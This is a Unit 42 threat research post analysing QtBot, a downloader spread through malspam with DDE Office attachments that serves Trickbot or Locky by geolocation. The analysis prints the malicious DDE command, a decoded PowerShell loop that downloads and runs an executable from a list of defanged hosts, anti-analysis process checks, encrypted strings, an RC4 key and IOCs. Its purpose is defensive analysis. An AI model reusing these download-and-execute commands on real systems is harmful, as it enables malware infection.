Everybody Gets One: QtBot Used to Distribute Trickbot and Locky

researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

Brandon Levene, Brandon Young, Dominik Reichel

November 1, 2017

By Brandon Levene, Brandon Young and Dominik Reichel

November 1, 2017 at 1:00 PM

Category: Unit 42

Tags: Locky, QtBot, Trickbot



Introduction

The most common Locky and Trickbot affiliates are being distributed via shared malspam campaigns. Unit 42 and external malware researchers believe the payloads are geo-targeted. Previously, geo-targeting was controlled by a relatively simplistic <u>VBA script</u> which utilized GeoIP lookup services and parsed the country code to determine the compromised host's location. With this information, the VBA script would enter a loop checking for the presence of the country codes: UK, IE, AU, GB, LU, or BE and, if any of those country codes was present, URIs to serve Trickbot were selected for download and execution. If this check failed, Locky would be served instead.

Recently, <u>Unit 42 researcher Brad Duncan</u> observed <u>Necurs malspam</u> campaigns distributing Microsoft Office documents that were abusing <u>DDE</u>. These documents load an intermediate downloader which we have tagged in AutoFocus as "QtBot". QtBot replaces the previously discussed VBA and features a robust anti-analysis suite to protect itself. This new downloader is responsible for loading the final payload, either Locky or Trickbot, again based on GeoIP. Palo Alto Networks has observed more than 4 million unique sessions with QtBot activity since October 19th, 2017.

The Lure

The malicious <u>DDE documents</u> are included as attachments to malspam lures like the one below (seen 10/24/2017):

	•	0 CI (Scan [Data - Temp	orary Items				
Mess	sage									(<u>)</u> , ,	
Delete	Reply	Reply For All	ward	Dee Mee	Move *	🌄 Junk 🔻	Read/Unre	ad Categorize	Follow Up		
Sca	n Data	à									
	s	scanner@ Tuesday, C To: spam @: @ Sca	octobe @mod	er 24, 20 I.mil.by		w					
		ages: 5 ile Type:	DOC								

Figure 1. Shows an example email lure with a malicious document that uses DDE to deliver a payload.

Typically, these lures are very simple. Most of the observed lures fall either within the "Financial Statement" category (Invoice, Billing, Receipt) or "File Transfer" category (efax, file scan). This campaign relies on the user to download the attachment, open it, and click through several dialog boxes. The attached document, bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9, contains the following DDE object:

[URL Defanged]

- 1 DDEAUTO C:\\Windows\\System32\\cmd.exe "/k powershell.exe -NonI -
- 2 noexit -NoP -sta \$sr=(new-object IO.StreamReader
- 3 ((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse())
- 4 .GetResponseStream())).ReadToEnd();powershell.exe -e \$sr"

Network Traffic

Let's examine the network traffic. Immediately following the user's click-throughs of three dialog boxes, the following HTTP GET request is issued. Interestingly, its likely this initial command and control server is simply a compromised webhost running a vulnerable version of PLESK as can be seen by the X-Powered-By header in the HTTP response.

Stream Content
GET /JHhdg33 HTTP/1.1
Host: burka.ch
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2017 17:47:24 GMT
Server: Apache
Last-Modified: Tue, 24 Oct 2017 16:01:06 GMT
ETag: "14000fb-4b0-55c4d0bf8aa46"
Accept-Ranges: bytes
Content-Length: 1200
X-Powered-By: PleskLin
Connection: close
Content-Type: text/plain
DQAKACQAdQByAGwAcwAgAD0AIAAiAGgAdAB0AHAA0gAvAC8AYQB1AHIAZQBhAC0AYQByAHQALgByAHUALwBpAG4AYwByA
EgARwAzADIAIgA SACIA a AB0AHQAcAA6AC8ALwB jAGEAcwB0AGUAbAB SAG8AZABpAG0AbwBuAHQAZQBnAGkAbwB jAG8ALg
B J AG8Ab QAVAGKAb gB J AH I A SABHADMAMgA i ACWA I gBOAH QAdABWADOA LWAVAG4Ab AAu AGYAb ABp AHAAY WBhAHAAZ QB SAGW
AYQAuAGMAbwBtAC8AaQBuAGMAcgBIAEcAMwAyACIALAA1AGgAdAB0AHAAOgAvAC8AZABvAHQAZQBjAG4AaQBhAC4AYwBs
AC8AaQBuAGMAcgBIAEcAMwAyACIALAAiAGgAdAB0AHAAOgAvAC8AYwBoAHIAaQBzAHQAYQBrAHIAYQBuAHoAbAAuAGEAd
AAvAGkAbgBjAHIASABHADMAMgA1AA0ACgBmAG8AcgB1AGEAYwBoACgAJAB1AHIAbAAgAGkAbgAgACQAdQByAGwAcwApAH
sADQAKAFQAcgB5AA0ACgB7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAHUAcgBsAAkADQAKAAkAJABmAHAAIAA
9ACAAIgAkAGUAbgB2ADoAdABlAG0AcABcAHQAaABlAHkAdwBlAGEAcgBlADYANAAuAGUAeABlACIACQANAAoACQBXAHIA
aQB0AGUALQBIAG8AcwB0ACAAJABmAHAADQAKAAkAJAB3AGMAIAA9ACAATgB1AHcALQBPAGIAagB1AGMAdAAgAFMAeQBzA
HQAZQB±AC4ATgB1AHQALgBXAGUAYgBDAGwAaQB1AG4AdAANAAoACQAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbA
B1ACgAJAB1AHIAbAASACAAJABmAHAAKQANAAoACQBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABmAHAADQAKAAk
AY gB y AGU AY QB r AAOAC gB 9 AAOAC gB D AG G EA dAB J AG gAD QAKAH SAD QAKAC AAI AA gA F c Ac gB p AH QAZ QA t A E gAb wB z AH QAI AAk
AF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUADQAKAH0ADQAKAA0ACgAJAA0ACgB9AA==
Entire comparation (1521 bates)
Entire conversation (1531 bytes)
$\underline{\mathbb{G}}_{\mathrm{Eind}}$ Save As $\underline{\mathbb{G}}_{\mathrm{Eind}}$ = Print \bigcirc ASCII \bigcirc EBCDIC \bigcirc Hex Dump \bigcirc C Arrays \textcircled{B} Raw
₩ Filter Out This Stream KClose

Figure 2. DDE downloads a base64 blob for execution. Also, an interesting note: this initial server hosting the scriptlet is using PLESK and is likely compromised.

The base64 blob decodes to the following [URLs defanged]:

- 1 \$urls = "hXXp://aurea-
- 2 art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp:
- 3 //nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp
- 4 ://christakranzl[.]at/incrHG32"
- 5 foreach(\$url in \$urls){
- 6 Try
- 7
- 8 Write-Host \$url
- 9 \$fp = "\$env:temp\theyweare64.exe"
- 10 Write-Host \$fp
- 11 \$wc = New-Object System.Net.WebClient
- 12 \$wc.DownloadFile(\$url, \$fp)
- 13 Start-Process \$fp
- 14 break
- 15 }
- 16 Catch
- 17 {
- 18 Write-Host \$_.Exception.Message
- 19 }
- 20 }

The entire list is iterated over until a valid download location is found (this can be observed in the cmd.exe window which is spawned in the background by the initial DDE execution). Once a live command and control server responds, the QtBot binary

(798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120) is downloaded in the clear.

😑 😑 💽 Follow TCP Str	eam (tcp.stream eq 1)					
Stream Content						
GET /incrHG32 HTTP/1.1 Host: aurea-art.ru Connection: Keep-Alive	Ô					
HTTP/1.1 200 OK Date: Tue, 24 Oct 2017 17:47:30 GMT Server: Apache/2.2.3 (CentOS)						
Last-Modified: Tue, 24 Oct 2017 16:30:06 GMT ETag: "2560cfb-40ac0-73a53f80" Accept-Ranges: bytes Content-Length: 264896						
Keep-Alive: timeout=15, max=1000 Connection: Keep-Alive Content-Type: text/plain						
MZ						
\$j. h						
(
Entire conversation (265261 bytes)						
<u>⊆</u> Eind Zave As <u>■</u> Print O ASCII	○ EBCDIC ○ Hex Dump ○ C Arrays ● Raw					
₩ Filte	er Out This Stream					

Figure 3. Download of the QtBot downloader, with the executable in the clear. Note that the Content-Type doesn't match.

Once the QtBot binary has been downloaded, its executed from the user's %temp% directory using the PowerShell directive Start-Process which can be seen in the decoded base64 blob included in the code block above. When QtBot is started, it initially performs a connectivity check to the legitimate domain, ds.download.windowsupdate[.]com, via an HTTP POST request.

	🔀 Follow TCP Stream (tcp.stream eq 2)
Stream Content	
POST / HTTP/1.1	
Cache-Control: no-cache Connection: close	
Pragma: no-cache	
Content-Type: application/oct	et-stream
User-Agent: Windows-Update-Age	
Content-Length: 0	
Host: ds.download.windowsupda	te.com
HTTP/1.1 405 Method Not Allow	
Content-Length: 30	eu
X-CID: 7	
X-CCC: DE	
	5E4148159A0BF771CCFC7E19 Ref B: FRAEDGE0415 Ref C:
2017-10-24T17:47:55Z	
Date: Tue, 24 Oct 2017 17:47:5 Connection: close	04 GMT
connection. crose	
ERROR 405: Method Not Allowed	1
	•
Entire conversation (475 byte	•s)
Save As ■Pr	int OASCII OEBCDIC OHex Dump OC Arrays ® Raw
	Int o Asch o Ebeble o nex builtp o c Allays @ Raw
<mark>₩</mark> elp	Filter Out This Stream

Figure 4. Downloader component issues a request to an innocuous domain as a connectivity check.

Finally, once the connectivity check passes, QtBot will beacon back to its command and control server using an HTTP POST request with an RC4 encrypted payload and await a response which is encrypted with the same RC4 key. The User-Agent "Windows-Update-Agent" in the connectivity check, initial check-in, and final payload delivery are all identical.

For the network traffic below, we will use the QtBot sample,

d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2, as at the time of analysis the command and control server was still live and serving geo specific payloads.

In cases where the geolocation matches a set list (we believe this list is likely identical to the earlier VBA discussed in the Introduction section), we will see the traffic below.

	X Follow TCP Stream (tcp.stream eq 3)	
Stream Content		
Server: nginx/1.6.2 Date: Tue, 31 Oct 2017 12:54: Content-Type: text/html; char Content-Length: 127 Connection: close	ent CZ(.0]!~Sg, r.18.y}a:HTTP/1.1 200 OK 18 GMT set=UTF-8 vdjh.;cb*.JW2	
Entire conversation (619 byte	es)	.
<u> </u>	int OASCII OEBCDIC OHex Dump	○ C Arrays ● Raw
<u>₩</u> elp	Filter Out This Stream	XClose

Figure 5. The downloader Trojan posts data back to the command and control server. This likely determines geolocation based targeting, this request led to the download of Trickbot as we used a UK based exit point. Trickbot download can be seen in Figure 6. Note the user-agent header is identical to that of the connectivity check in Figure 4.

Due to the host being within the UK, we received an encrypted Trickbot payload. The decrypted Trickbot observed in the request below is

4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad.

		X Follow	TCP Stream (tcp.stream eq 8	3)		
Stream Con	tent					
		1				Ô
	Windows-Upda gth: 0	on/octet-strea ate-Agent	m			
Server: Apa	31 Oct 2017 : che					
Last-Modified: Tue, 31 Oct 2017 09:57:11 GMT ETag: "366016c-726c0-55cd4c75aebc0" Accept-Ranges: bytes Content-Length: 468672 X-Powered-By: PleskLin						
.=.(e: text/plain					
z.2w I{.4T.Xz3	" \$."	′6K?T a9U .i	,.W:Q.ao.B3] '%iN.{\6.e.	C.	ct4w&	¥
Entire conv	ersation (59	451 bytes)				▼
Sind	7 Save <u>A</u> s	<u> </u>	ASCII O EBCDIC O He	x Dump	○ C Arrays ● R	law
<mark>₿</mark> Help			🗹 Filter Out This Strea	am	X ⊆lose	

Figure 6. Payload downloaded by the intermediate downloader. In this case, Trickbot.

In the following figures, we see a host POST data back to the C2 and receive a slightly different response. This is because the host is in a location not specifically targeted for Trickbot delivery. Thus, we expect to see a different download location and likely a Locky payload.

	📉 Follow TCP Stream (tcp.stream eq 0)
Stream Con	ntent
Connection: Pragma: no- Content-Typ	rol: no-cache : close -cache oe: application/octet-stream : Windows-Update-Agent ngth: 137
<pre>\8m.A Server: ngi Date: Tue, Content-Typ Content-Len Connection: .<py]nh< pre=""></py]nh<></pre>	31 Oct 2017 13:07:39 GMT be: text/html; charset=UTF-8 ngth: 130
F	
Entire con	versation (622 bytes)
<u></u> Eind	Save <u>As</u> <u>A</u> rint ASCII O EBCDIC O Hex Dump O C Arrays ® Raw
<mark>₿</mark> Help	Filter Out This Stream

Figure 7. The downloader Trojan posts data back to the command and control server. This likely determines geolocation based targeting, this request led to the download of Locky as we used a CA based exit point. Locky download can be seen in Figure 8.

Below we see a different payload from a different location due to the server's response. In this case the payload is an encrypted Locky binary. This decrypted binary is 9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49.

•••	X Follow TCP Stream (tcp.stream eq 4)	
Stream Content		
POST /dkjshfg643 HTTP/J Cache-Control: no-cache Connection: close Pragma: no-cache Content-Type: applicati User-Agent: Windows-Upo Content-Length: 0	on/octet-stream	Ô
Host: hobbystube.net		- 1
(uQ>Bn	Oct 2017 09:03:31 GMT :d4076d9ec0" n	
+Wj!		
Entire conversation (5	86179 bytes)	•
Save As Save As	<u>Print</u> OASCII OEBCDIC OHex Dump OC Arrays	® Raw
<mark>₩</mark> elp	I Filter Out This Stream I Close IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	2

Figure 8. Payload downloaded by the intermediate downloader. In this case, Locky.

With the network behavior laid out from initial execution to payload delivery, lets take a closer look at the intermediate downloader, QtBot.

QtBot Analysis

The QtBot downloader is a Windows executable file that decrypts an importless stub into memory. This payload is later injected into msiexec.exe using common techniques. The payload then decrypts the second stage shellcode and injects it into a newly spawned svchost.exe process. This svchost.exe acts as the handler for the final payload.

When QtBot initially executes, a new thread is created which is responsible for process scanning. This process scanning is used to identify analysis tools and, if any are found, terminate the malware's further execution. This check is periodically repeated on a loop. Process hashes are calculated by lower casing the process name, calculating the crc32 of the result, and XORing the crc32 value with 0x2e5d47c8. The XOR value appears to change on a regular basis, thus the hashes below only apply to

798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120. The following hash values are checked against running processes:

- 1 0x171AF567 2 0xB713B22E 3 0x59F3573F - wireshark.exe 4 0xA9275283 - peid.exe 5 0x2C533BA3 6 0xB1FDD418 - x64dbg.exe 7 0xA7B71C08 8 0x5BBA66D5 9 0xFD62D761 10 0xB01C9DA9 - cff explorer.exe 11 0xE7AC4C20 12 0x8718A391 - procexp.exe 13 0x817D523A - ollydbg.exe 14 0x9A65393D - lordpe.exe 15 0x4B1B38C6 - processhacker.exe 16 0xBD46C402 17 0x72472F0B - tcpview.exe 18 0x151648CD 19 0x4A694A06 - vboxservice.exe 20 0x956511A3 - sbiesvc.exe 21 0x09D19890 - vmtoolsd.exe 22 0x70383CD2 23 0x40C795F0 - petools.exe 24 0x6D2607D8 - exeinfope.exe 25 0x4D9803BC - vboxtray.exe 26 0x29FBEE3C - windbg.exe 27 0x0872D0FC 28 0x28F7E9A8 - idaq.exe 29 0x3D0598D0 - x32dbg.exe 30 0x1D141E5D 31 0xFCB2810C - python.exe 32 0x2AA827DB
- 33 0xCA9B2CDE
- 34 0x75F4F636 procmon.exe

The payload then creates randomly generated numerical mutex along with the registry key

"HKCU\Software\QtProject". This registry key has been used in the past by legitimate Qt framework software and is not strictly to be considered malicious on its own.

Once the mutex and registry string are created, the malware uses RC4 with a hardcoded key to decrypt numerous strings which are reproduced below (note these strings are from

798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120):

- 1 cmd.exe
- 2 Software\Microsoft\Windows\CurrentVersion
- 3 boom
- 4 http://toundlefa[.]net/
- 5 Software\QtProject
- 6 msiexec.exe
- 7 svchost.exe
- 8 /c start %s && exit
- 9 cmd.exe
- 10 \System32\CompMgmtLauncher.exe
- 11 runas
- 12 Software\Classes\mscfile
- 13 \shell\open\command
- 14 tmp_file
- 15 Software\Microsoft\Windows\CurrentVersion
- 16 \Policies\Explorer
- 17 \Run
- 18 Check Update
- 19 POST
- 20 Content-Type: application/octet-stream
- 21 Connection: close
- 22 DZCW
- 23 6VK3
- 24 regsvr32.exe
- 25 http://ds.download.windowsupdate.com/
- 26 {"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
- 27 {"rep":1,"bid":"%s","tid":"%s","res":%d}

The hardcoded RC4 Key,

0x7A3C5B7CB7FCE715702AA0F4F4EC0935E759FD3B7B6BCC70159D61CF42814B81, is reused throughout this campaign to encrypt and decrypt network communications.

QtBot includes a function which checks for the keyboard layouts common to former USSR countries, if any are found, execution is terminated. This routine is shown below:

switch (GetKeyboardLayout(0) & 0x3FF)	
{	
case 0x18:	// Romanian
case 0x19:	// Russian
case 0x22:	// Ukranian
case 0x23:	// Belarusian
case 0x28:	// Tajikstan
case 0x2B:	// Armenian
case 0x2C:	// Azeri_Latin
case 0x37:	// Georgian
case 0x3F:	// Kazakh
case 0x40:	// Kyrgyzstan
case 0x42:	// Turkmen
case 0x43:	// Uzbek_Latin
v0 = 1;	
break;	
default:	
return v0;	
}	
return v0;	

Figure 9. Keyboard layout checks in order to prevent infection of former USSR countries.

For persistence, a temp file is generated with a randomly generated name and stored in %APPDATA%\Local\Temp\ in a randomly named folder.

This randomly generated value is used for the folder name and is stored in the registry key "HKCU\Software\QtProject" in the value "0FAD2D5E". The malware stores additional encrypted data in this key:

"0FAD2D5E" – Random Value + Unicode temp file name + length of data blob

"0FAD2D5EDZCW" – RC4 Encrypted C2 Domain

Successful malware communications use a format string like the one below:

- 1 {"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":
- 2 %d,"tmt":%d}

When this is filled in, it would look similar to the following:

- 1 {"rep":0,"bid":"LD0fJMbInCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228
- 2 8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}

Some of these values are unknown, though we are able to speculate the nature of their meanings. We believe they are as follows:

"rep" - communication attempt repetitions from a single host

"bid" - binary identification; this value is stored in registry value "0FAD2D5E" and is RC4

encrypted and base64 encoded before sending

- "ver" likely versioning information
- "cam" campaign name
- "cis" unknown hardcoded value
- "lvl" system integrity level
- "adm" if the malware has administrative privileges
- "bit" unknown
- "osv" operating system version
- "osb" operating system build
- "tmt" timeout in seconds

Similarities to Andromeda

Existing analysis of the <u>Andromeda loader and bot</u> reveals some commonalities between Andromeda and QtBot. The most apparent similarities of these two families are the running process hash check used for anti-analysis, host infection denylisting based on language identifiers returned from GetKeyboardLayout, separate infection and task reports for C2 reporting, and code injection target, msiexec.exe. At this time due to the seemingly major updates to the base Andromeda, which is still active, we are referring to this particular family as a new entity and have created a separate identifier in Autofocus, QtBot, to help users differentiate.

Conclusion

While geographic location specific malware delivery is not a new phenomenon, the combination of two previously disparate malware family affiliates utilizing unified malspam campaigns and droppers is an interesting shift in tactics. QtBot protects itself and the decision tree by which targeting is established and offers a significantly more robust anti-analysis package to stymie analysts.

Palo Alto Networks has observed more than 4 million unique sessions with QtBot behaviors which can be seen with the <u>QtBot tag</u> in AutoFocus. Customers using Wildfire are protected from this threat. Palo Alto Networks would like to thank researchers at Proofpoint, who identifies this threat as "QtLoader", for first bringing these campaigns to our attention.

IOCs

798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120 - QtBot d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2 - QtBot used for payload differentiation screenshots bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9 - DDE Dropper 9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49 - Locky 4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad - Trickbot hXXp://hobystube[.]net - Locky Download Location hXXp://kengray[.]com - Trickbot Download Location hXXp://fetchstats[.]net - QtBot C2 hXXp://toundlefa[.]net - QtBot C2 hXXp://aurea-art[.]ru/incrHG32 hXXp://castellodimontegioco[.]com/incrHG32 hXXp://nl.flipcapella[.]com/incrHG32 hXXp://dotecnia[.]cl/incrHG32 hXXp://christakranzl[.]at/incrHG32 hXXp://burka[.]ch/JHhdg33 hXXp://celebrityonline[.]cz - URI varies based on payload

Get updates from Palo Alto Networks!

Sign up to receive the latest news, cyber threat intelligence and research from us

By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.